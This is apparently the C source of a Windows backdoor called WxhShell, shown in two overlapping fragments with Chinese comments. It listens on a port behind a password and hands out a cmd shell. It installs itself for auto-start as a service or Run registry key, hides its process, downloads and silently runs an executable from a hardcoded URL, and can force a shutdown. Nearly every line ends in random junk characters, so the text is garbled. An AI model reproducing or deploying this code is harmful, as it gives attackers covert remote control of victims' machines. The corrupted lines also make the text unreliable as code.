    break; $b&BH'*'~  
    } ,M| QN*  
  // 关机 PEK.Kt\M  
  case 'd': { GP0[Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <.y;&a o  
    if(Boot(SHUTDOWN)) # w i&n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' }y]mFpF  
    else { ))8Emk^Q{  
    closesocket(wsh); )zo#1$C-  
    ExitThread(0); = E##},N"  
    } L.R"~3  
    break; IS3e|o*]MP  
    } }x{rTEq  
  // 获取shell ]t8{)r  
  case 's': { m 4wPuW  
    CmdShell(wsh); Cb4d|yiS8  
    closesocket(wsh); L{4),65  
    ExitThread(0); f$~ _FX  
    break; {ILp[ &sL  
  } \HBVNBY  
  // 退出 !3O,DhH>MC  
  case 'x': { /F\>Z]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *##QXyyg  
    CloseIt(wsh); *C[4 (DmB  
    break; ez{P-qB  
    } Lg\8NtP   
  // 离开 Gsx^j?  
  case 'q': { >eYU$/80  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U^vUdM"  
    closesocket(wsh); tg4LE?nv  
    WSACleanup(); V'Sd[*  
    exit(1); t ?pIE cl  
    break; B<vvsp\X  
        } !Qj)tS#Az  
  } OqAh4qa,$  
  } m70`{-O  
s{x*~M$vt  
  // 提示信息 cij]&$;Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K|P9uHD  
} uK+9gTv  
  } w !=_  
a>;3 j  
  return; Fjb4BdZ P  
} IN]`lJ  
(:</R$I  
// shell模块句柄 Y3 Pz00x  
int CmdShell(SOCKET sock) duZ|mT8Q==  
{ y\r^\ S9%  
STARTUPINFO si; a+4`}:KA#  
ZeroMemory(&si,sizeof(si)); (9WL+S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j\i;'t}8g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (1saof *p%  
PROCESS_INFORMATION ProcessInfo; !;xf>API  
char cmdline[]="cmd"; A1#4nkkc9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [RGC!}"mr  
  return 0; ,6y-.m7>  
} E-5ij,bHv3  
ntA[[OIFO  
// 自身启动模式 <=5,(a5g  
int StartFromService(void) ;W$w=j: O{  
{ tS_xa  
typedef struct bv:0EdVr  
{ Xy3g(x]  
  DWORD ExitStatus; T6/$pJl  
  DWORD PebBaseAddress; S\yu%=h  
  DWORD AffinityMask; {y+v-v/#  
  DWORD BasePriority; 2yi*eR  
  ULONG UniqueProcessId; B J:E,P`_  
  ULONG InheritedFromUniqueProcessId; dd?x5|/#  
}   PROCESS_BASIC_INFORMATION; ArEH%e  
)sY$\^'WY  
PROCNTQSIP NtQueryInformationProcess; ;:8jxkx6%  
e$p1Th*|]4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sh~ 8jEk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JWUv H  
}QApeZd+q  
  HANDLE             hProcess; !"o1ve`{  
  PROCESS_BASIC_INFORMATION pbi; W[jW;uk  
+Zty}fe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kG|>_5  
  if(NULL == hInst ) return 0; )|59FOWg  
5W:Gl?$S}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sTYuwna~   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U:etcnb4w>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dZ;~b(CA  
#V(Hk )  
  if (!NtQueryInformationProcess) return 0; dH2j*G Ij  
//'xR8Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $Nt]${0  
  if(!hProcess) return 0; #C=L^cSx(  
2S7H_qo$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m\}\RnZu  
=oKPMmpCZ  
  CloseHandle(hProcess); Bcd0   
Hm8EYPr J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gr"2G,,VI  
if(hProcess==NULL) return 0; wFoR,oXtL/  
6U,U[MWJ  
HMODULE hMod; :`Zl\!]E`o  
char procName[255]; >m;|I/2@  
unsigned long cbNeeded; 7Da^Jv k  
n )wpxR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u6bB5(s`&  
[w#x5Xsn  
  CloseHandle(hProcess); u[6`Jr~  
(-G(^Tn  
if(strstr(procName,"services")) return 1; // 以服务启动 j .yr 5%  
A]~iuUHm  
  return 0; // 注册表启动 l66ipgw_^I  
} no\}aTx  
;>QK}#'  
// 主模块 WkU) I2oH  
int StartWxhshell(LPSTR lpCmdLine) Tr}$Pb1  
{ NNREt:+kr  
  SOCKET wsl; 9{]r+z:  
BOOL val=TRUE; ay7+H7^|hZ  
  int port=0; *{D:1S  
  struct sockaddr_in door; !tFU9Zt  
f'zFg["aZS  
  if(wscfg.ws_autoins) Install(); \PtC  
XR=c 8f  
port=atoi(lpCmdLine); E6wST@ r  
@u'27c_<d3  
if(port<=0) port=wscfg.ws_port; /iJcy:J  
~M9 n<kmE  
  WSADATA data; \SHD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KSpC%_LC  
:0TSOT9.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x x`8>2T#e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #*;fQ&p  
  door.sin_family = AF_INET; me}Gb a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C{I8Pio{b  
  door.sin_port = htons(port); ,*}g r  
w$_'xX(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <J_,9&\J  
closesocket(wsl); 77=y!SDP  
return 1; C6=;(=?C  
} 'm p{O  
.5Z@5g`  
  if(listen(wsl,2) == INVALID_SOCKET) { +/_B/[e<>  
closesocket(wsl); z&HN>7  
return 1; Zn*CJNB  
} ,aj+mlZd2  
  Wxhshell(wsl); %>z8:oJ  
  WSACleanup(); m LxwJ  
^>R|R1&  
return 0; Drq{)#7  
MFdFZkpiV  
} Jv{"R!e"P  
0 f#a_  
// 以NT服务方式启动 ]zR;%p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uRq#pYn@  
{ OaCj3d>  
DWORD   status = 0; DSG +TA"  
  DWORD   specificError = 0xfffffff; 4;~lpty  
2.L6]^N p(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q ]R @:a/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (LvOsr~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G|Yp <W%o  
  serviceStatus.dwWin32ExitCode     = 0; GHsdLe=t0#  
  serviceStatus.dwServiceSpecificExitCode = 0; \S@=zII_  
  serviceStatus.dwCheckPoint       = 0; . eag84_  
  serviceStatus.dwWaitHint       = 0; wbF1>{/"  
d~1"{WPSn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I8oKa$RF  
  if (hServiceStatusHandle==0) return; {c EK z\RX  
Q_|S^hx Q  
status = GetLastError(); %<*pM@  
  if (status!=NO_ERROR) Q\>SF  
{ cM'[;u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gqz)='  
    serviceStatus.dwCheckPoint       = 0; (a4y1k t-  
    serviceStatus.dwWaitHint       = 0; B46H@]d#7K  
    serviceStatus.dwWin32ExitCode     = status; @KRn3$U  
    serviceStatus.dwServiceSpecificExitCode = specificError; &#\7w85$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *z:lq2"G  
    return; 5N</Z6f'o  
  } bzL;)H4Eo  
R#^pNJN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $A0]v!P~i-  
  serviceStatus.dwCheckPoint       = 0; yT9RNo/w  
  serviceStatus.dwWaitHint       = 0; GN"LU>9|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w I 7  
} d1_*!LW$  
JRs[%w`kD  
// 处理NT服务事件,比如:启动、停止 uC ;PP=z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q@yabuN@,j  
{ _I"<?sh 3  
switch(fdwControl) <y/AEY1  
{ T1W9@9,s  
case SERVICE_CONTROL_STOP: }@0.  
  serviceStatus.dwWin32ExitCode = 0; sEi.f(WA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z{+; '9C  
  serviceStatus.dwCheckPoint   = 0; D7 '0o`|  
  serviceStatus.dwWaitHint     = 0; Y`p&*O  
  { ] Lft^,7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y/*Tvb #TJ  
  } ED_5V@  
  return; T7nX8{l[RG  
case SERVICE_CONTROL_PAUSE: u\Q**m2XP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PsT v\!  
  break; bH]!~[  
case SERVICE_CONTROL_CONTINUE: C^v -&*v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _; RD-kv  
  break; N28?JQha  
case SERVICE_CONTROL_INTERROGATE: D_kz R  
  break; mP+yjRw  
}; on&=%tCAL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *wyLX9{:  
} [4yQbqe;  
#EK8Qe_  
// 标准应用程序主函数 Mp}NUQHE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d(tf: @  
{ \5c -L_  
$=a$z"  
// 获取操作系统版本 +W[#;)ea(  
OsIsNt=GetOsVer(); jJC( (1|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JT_B@TO\  
9uoj3Rh<  
  // 从命令行安装 B>2 1A9&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5!fW&OiY  
vy y\^nL  
  // 下载执行文件 ITPp T  
if(wscfg.ws_downexe) { JNCtsfd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w:(7fu=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ``CADiM:S  
} ee[NZz  
Y\S^DJy  
if(!OsIsNt) { _qNLy/AY  
// 如果时win9x,隐藏进程并且设置为注册表启动 '0rwNEg  
HideProc(); .[ s82c]]6  
StartWxhshell(lpCmdLine); Tz~ ftf  
} +>({pHZ<S  
else |.W;vc<  
  if(StartFromService()) l[{}ZKZ  
  // 以服务方式启动 z3LPR:&Z  
  StartServiceCtrlDispatcher(DispatchTable); C^O^Jj5X%  
else K<(sqH  
  // 普通方式启动 1<e%)? G  
  StartWxhshell(lpCmdLine); <OB~60h"  
> PA,72e   
return 0; 6VE5C g  
} h(up1(x  
>?FCv7qN  
8 z7,W3b  
P$(}}@  
=========================================== $o H,:x?}  
@b({QM|  
Q(7l<z  
_3>zi.J/  
2a-hf|b1  
=LA@E&,j  
" #E)]7!_XG  
3&:fS|L~c  
#include <stdio.h> qRLypm  
#include <string.h> oPZ4}>uV  
#include <windows.h> y Dw!u[:  
#include <winsock2.h> sR nMBW.  
#include <winsvc.h> X.|0E87  
#include <urlmon.h> $4,6&dwg  
 #0H[RU?  
#pragma comment (lib, "Ws2_32.lib") l))IO`s=_  
#pragma comment (lib, "urlmon.lib") 63$m& ]x  
essW,2,rjC  
#define MAX_USER   100 // 最大客户端连接数 ~cwwB{  
#define BUF_SOCK   200 // sock buffer G"w Q(6J@  
#define KEY_BUFF   255 // 输入 buffer O,#[m:Ejb  
!%9I%Ak^  
#define REBOOT     0   // 重启 DJUtuex  
#define SHUTDOWN   1   // 关机 \(L^ /]}G)  
Ry3 f'gx  
#define DEF_PORT   5000 // 监听端口 9B0"GEwrs  
[hbIv   
#define REG_LEN     16   // 注册表键长度 pQ8+T|0x  
#define SVC_LEN     80   // NT服务名长度 GrC")Z|3u  
}C}_ I:=C  
// 从dll定义API UlytxWkUX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >^N :A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `;@4f |N9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PD4E& k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JnJz{(c  
KYN{iaj  
// wxhshell配置信息 }FVX5/.'  
struct WSCFG { ObzlZP r@  
  int ws_port;         // 监听端口 ry"zec B  
  char ws_passstr[REG_LEN]; // 口令 (7,Awf5D~  
  int ws_autoins;       // 安装标记, 1=yes 0=no wYG0*!Vj  
  char ws_regname[REG_LEN]; // 注册表键名 \>k+Oyj  
  char ws_svcname[REG_LEN]; // 服务名 p7er04/}\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BZ9iy~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "dTXT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~yN,FpD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yjzNU5F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xi.?9J`@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]+P &Y:   
W9"I++~f  
}; *6tN o-)^  
C"<@EMU9  
// default Wxhshell configuration @( l`_Wx  
struct WSCFG wscfg={DEF_PORT, ?f&I"\y  
    "xuhuanlingzhe", :~Y$\Ww(~  
    1, R3A^VE;qP  
    "Wxhshell", 5{Wl(jwb  
    "Wxhshell", RkzBn  
            "WxhShell Service", T:$_1I $  
    "Wrsky Windows CmdShell Service", bk]|C!7$  
    "Please Input Your Password: ", ,vPF=wq  
  1, w3D_ c~  
  "http://www.wrsky.com/wxhshell.exe", K-3 _4As  
  "Wxhshell.exe" HxaUVg0  
    }; /+msrrpD  
|e\%pfZ   
// 消息定义模块 Lw`\J|%p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ej+!|97M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pJ[Q.QxU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9K!='u`  
char *msg_ws_ext="\n\rExit."; -yeT$P&|  
char *msg_ws_end="\n\rQuit."; ZI7<E  
char *msg_ws_boot="\n\rReboot..."; )RFeF!("  
char *msg_ws_poff="\n\rShutdown..."; Sqs`E[G*  
char *msg_ws_down="\n\rSave to "; x#D=?/~/Kv  
-}@9lhS,  
char *msg_ws_err="\n\rErr!"; {W]jVh p  
char *msg_ws_ok="\n\rOK!"; AK HH{_  
g:U ul4  
char ExeFile[MAX_PATH]; cht#~d  
int nUser = 0; ZtVa*xl  
HANDLE handles[MAX_USER]; O;2 u1p'iP  
int OsIsNt; @#apOoVW>  
Sls> OIc  
SERVICE_STATUS       serviceStatus; /Ny&;Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5oS\uX|  
o6 /?WR9  
// 函数声明 VM[8w`  
int Install(void); @d\F; o<  
int Uninstall(void); il~,y8WTU{  
int DownloadFile(char *sURL, SOCKET wsh); jPfoI-  
int Boot(int flag); /7^~*  
void HideProc(void); H;2pk  
int GetOsVer(void); OjZ@_V:  
int Wxhshell(SOCKET wsl); PW}.`  
void TalkWithClient(void *cs); zlfm})+G  
int CmdShell(SOCKET sock); PBmt.yF  
int StartFromService(void); RulIzv  
int StartWxhshell(LPSTR lpCmdLine); &,zeBFmc  
\!r^6'A   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Tg$FfD6&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C7#$s<>TO  
U,'n}]=4A3  
// 数据结构和表定义 ArY'NE\Htt  
SERVICE_TABLE_ENTRY DispatchTable[] = '' 6  
{ 4rm/+Zes  
{wscfg.ws_svcname, NTServiceMain}, F~1R.r_Lu  
{NULL, NULL} scdT/|(U$  
}; E _K7.c4M  
:R)IaJ6)  
// 自我安装 DI_mF#5q  
int Install(void) . fIodk  
{ H|Ems}b  
  char svExeFile[MAX_PATH]; isjkfl-!  
  HKEY key; ]l%j>Vb!L  
  strcpy(svExeFile,ExeFile); k;sUDmrO  
@UKd0kxPN{  
// 如果是win9x系统,修改注册表设为自启动 X 6)LpMm  
if(!OsIsNt) { SpgVsz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^|Y!NHYH$Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -LyIu#  
  RegCloseKey(key); ze- iDd_y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B !XT:.+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }49?Z3  
  RegCloseKey(key); uyj5}F+O  
  return 0; ,O}zgf*H;  
    } b7-a0zaN  
  } QUt!fF@t  
} 157X0&EX  
else { ZU`"^FQ3A  
W>~V?%F&'  
// 如果是NT以上系统,安装为系统服务 '&9b*u";x(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wQ5__"D  
if (schSCManager!=0) yC[}gHv  
{ %9j]N$.V  
  SC_HANDLE schService = CreateService C.@TX  
  ( 6 Qmtb2  
  schSCManager, gisZmu0  
  wscfg.ws_svcname, M-NR!?9  
  wscfg.ws_svcdisp, jAu/] HZx  
  SERVICE_ALL_ACCESS, c&Dy{B!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ps2C8;zT  
  SERVICE_AUTO_START, \m<*3eS  
  SERVICE_ERROR_NORMAL, IY'S<)vOY  
  svExeFile, rZLMY M  
  NULL, +mJAIjH  
  NULL, >_@J&vC  
  NULL, FW2} 9#R  
  NULL, OHU(?TBo  
  NULL B-RaAiE@  
  ); >(3 y(1;  
  if (schService!=0) ;/v^@  
  { u>BR WN  
  CloseServiceHandle(schService); u% FA.  
  CloseServiceHandle(schSCManager); PYZ8@G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kW"N~Xw)  
  strcat(svExeFile,wscfg.ws_svcname); m`/OO;/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s SDBl~g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0:XmReO+k  
  RegCloseKey(key); aePk^?KbB  
  return 0; =#W6+=YN8  
    } B#=dz,}  
  } rB4]TQ`c  
  CloseServiceHandle(schSCManager); sS._N@f  
} 7j^,4;  
} .m .v$(  
' `S,d[~  
return 1; zR%#Q_  
} , vWcWT  
/wQDcz  
// 自我卸载 {J[0UZ6  
int Uninstall(void) k{; 2*6b0  
{ QgP UP[  
  HKEY key; ='(:fHhhX  
w0pH|$"/P  
if(!OsIsNt) { B{44|aq1|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3oh(d. Z  
  RegDeleteValue(key,wscfg.ws_regname); 1c]GS&(RP  
  RegCloseKey(key); @sP?@< C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WkT4&|POJ  
  RegDeleteValue(key,wscfg.ws_regname); ;e+ErN`a.~  
  RegCloseKey(key); 4XRVluD%W.  
  return 0; a$ Z06j  
  } p &A3l  
} [L:,A{rve  
} ,+ WDa%R  
else { /0A}N$?>:  
V[#jrwhA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7a2 uNt,X  
if (schSCManager!=0) ]'hz+V31%  
{ zFlW\wc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |1#*`2j\=9  
  if (schService!=0) ]`LMy t0  
  { .RdnJ&K*  
  if(DeleteService(schService)!=0) { z Mtx>VI  
  CloseServiceHandle(schService); LKhUqW  
  CloseServiceHandle(schSCManager); q%nWBmPZ~y  
  return 0; BRzrtK  
  } flRok?iF  
  CloseServiceHandle(schService); Gx!Y 4Q}-  
  } f|u!?NGl  
  CloseServiceHandle(schSCManager); >mz<=n  
} HZ/e^"cpM  
} {q:6;yzxl  
Esd A %`  
return 1; ,#nyEE  
} n*uT  
3>ytpXUEGx  
// 从指定url下载文件 @PutUYz  
int DownloadFile(char *sURL, SOCKET wsh) <d8 Yk>R  
{ i6aM}p<  
  HRESULT hr; F.4xi+S_  
char seps[]= "/"; C-&\qAo?<:  
char *token; i!(u4wTFF  
char *file; Tv!zqx#E  
char myURL[MAX_PATH]; I=0`xF|4K-  
char myFILE[MAX_PATH]; D/v?nW  
NSZ9M%7  
strcpy(myURL,sURL); W;Ct[Y 8m  
  token=strtok(myURL,seps); $/K<hT_  
  while(token!=NULL) ?g}G#j  
  { ,VI2dNst\  
    file=token; `ml  
  token=strtok(NULL,seps); U&GSMjqg  
  } voiWf?X  
5 y0 N }}  
GetCurrentDirectory(MAX_PATH,myFILE); wZ0RI{)s'  
strcat(myFILE, "\\"); X3@Uih}|  
strcat(myFILE, file); `f S$@{YI_  
  send(wsh,myFILE,strlen(myFILE),0); ]@0C1 r  
send(wsh,"...",3,0); )1N~-VuT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dr)B0]KG  
  if(hr==S_OK) ',P$m&z  
return 0; OQ&l/|{O0?  
else <v%Q|r  
return 1; 0-6rIdDTM  
:pq+SifP  
} -e(e;e  
`p#tx.o  
// 系统电源模块 n86LU Sj5  
int Boot(int flag) !c W6dc^  
{ .kcyw>T`I  
  HANDLE hToken; LtW}R4}3  
  TOKEN_PRIVILEGES tkp; ?L x*MJZ  
1R-WJph  
  if(OsIsNt) { 7_HFQT1.N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^VOFkUp)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }]<0!q &xB  
    tkp.PrivilegeCount = 1; ]Q$Sei5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }p5_JXBV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kl_(4kQE_  
if(flag==REBOOT) { 3$G &~A{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g8k S}7/  
  return 0; zncKd{Q\tP  
} wDR/Vr"f  
else { 5If.[j{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4 K5  
  return 0; q#=HBSyM  
} 5/8=Do](  
  } Y \Gx|  
  else { R"W5R-  
if(flag==REBOOT) { Y O&@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]n}aePl}oU  
  return 0; SP.k]@P  
} 7cB/G:{  
else { :er(YWF:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F%P"T%|  
  return 0; $7" Y/9Y  
} gu|=uW K  
} Wn2'uZ5If  
BMug7xl"  
return 1; -^+fZBU;  
} ^hNl6)hR  
9HB+4q[  
// win9x进程隐藏模块 xpX<iT>5u  
void HideProc(void) ~y{_NgMo  
{ ;*QK^#  
y 4U|~\]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > a;iX.K  
  if ( hKernel != NULL ) ncqAof(/  
  { oR7[[H.4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,?P<=M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G9|2 KUG  
    FreeLibrary(hKernel); /yHjd s  
  } pT{is.RM  
:{+~i.*  
return; rGQ2 ve  
} KRz~3yH{ c  
wx^Det  
// 获取操作系统版本 hC[ =e`j  
int GetOsVer(void) kDol1v`  
{ E;}&2 a  
  OSVERSIONINFO winfo; 9U8x&Z]P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 63'm @oZ  
  GetVersionEx(&winfo); ~UJ.A<>Fh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {n|ah{_p|  
  return 1; n]df)a  
  else v4<W57oH  
  return 0; !( >U3N  
} 2xf #@`U  
? a#Gn2  
// 客户端句柄模块 _V 4O#;%?  
int Wxhshell(SOCKET wsl) !KMl'kswe:  
{ <rtKPlb//  
  SOCKET wsh; K[kK8i+(  
  struct sockaddr_in client; D(l,Z  
  DWORD myID; 3m= _a  
b{qN7X~>  
  while(nUser<MAX_USER) e8rZP(g&g  
{ <pfl>Uf  
  int nSize=sizeof(client); +: x[cK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EjL]#,QR  
  if(wsh==INVALID_SOCKET) return 1; [0EWIdT*b  
=* G3Khz!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); udu<Nis4  
if(handles[nUser]==0) {.542}A  
  closesocket(wsh); m^!:n$  
else 4j~q,# $LW  
  nUser++; ~n- Px)  
  } XVkw/ l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N"}>);r  
Xf_#O'z  
  return 0; Kf1J;*i|\  
} {;DAKWm@T  
gu3iaM$W  
// 关闭 socket 9v_s_QkL2  
void CloseIt(SOCKET wsh) ||JUP}eP  
{ 4XNheP;b  
closesocket(wsh); VE-l6@`  
nUser--; h~7#$i  
ExitThread(0); pd:7K'yaw  
} kV+^1@"  
dpTsTU!\  
// 客户端请求句柄 H.\`(`6  
void TalkWithClient(void *cs) T[ZmD{6l  
{ \?; `_E`j  
ss[`*89  
  SOCKET wsh=(SOCKET)cs; wn.~Dx  
  char pwd[SVC_LEN]; n74\{`8]o  
  char cmd[KEY_BUFF]; y92R}e\M  
char chr[1]; +9w[/n^,G  
int i,j; Iz1x|EQ  
[a04( 2g  
  while (nUser < MAX_USER) { `p&[b]b  
>*RU:X  
if(wscfg.ws_passstr) { Hl`OT5 pNf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `*Yw-HL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l3sF/zkH  
  //ZeroMemory(pwd,KEY_BUFF); `wXK&R<`  
      i=0; qS#G7~ur>y  
  while(i<SVC_LEN) { 3Rc*vVnI  
)[ A-d(y=  
  // 设置超时 d #1Y^3n  
  fd_set FdRead; H"FK(N\  
  struct timeval TimeOut; *{3d+j/?/  
  FD_ZERO(&FdRead); lG)wa  
  FD_SET(wsh,&FdRead); \P*_zd@%  
  TimeOut.tv_sec=8; QkBw59L7  
  TimeOut.tv_usec=0; E +_n@t"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <%m YsaM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +b(};(wL  
zbmC? 2$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+&V  >  
  pwd=chr[0]; +P^ ;7"H  
  if(chr[0]==0xd || chr[0]==0xa) { #7 3pryXV  
  pwd=0; x "{aO6M  
  break; SI=$s>1  
  } =0pt-FQ  
  i++; wAKHD*M)  
    } f`n4'dG  
SLKpl LO  
  // 如果是非法用户,关闭 socket T&lgWOls  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ysz =Xw  
} m+0yf(w  
dymq Z<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .\ ;'>qy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UJL2IF-x  
1uAjy(y  
while(1) { (-gomn  
h^SWb9 1"G  
  ZeroMemory(cmd,KEY_BUFF); `gX|q3K\s  
D5,]E`jwu  
      // 自动支持客户端 telnet标准   d5$D[,`1  
  j=0; 'OsZD?W{  
  while(j<KEY_BUFF) { 8M99cx*K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wM+1/[7  
  cmd[j]=chr[0]; ^.6[vmmq  
  if(chr[0]==0xa || chr[0]==0xd) { JM3[ yNSN@  
  cmd[j]=0; B?! L~J@p  
  break; 6Ijt2c'A}  
  } W:_-I4 q~  
  j++; ISGw}#}]?  
    } J!2Z9<q5  
/eI|m9ke  
  // 下载文件 k7^hc th  
  if(strstr(cmd,"http://")) { *%Rmdyn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P.y +jyu  
  if(DownloadFile(cmd,wsh)) (xHmucmwp  
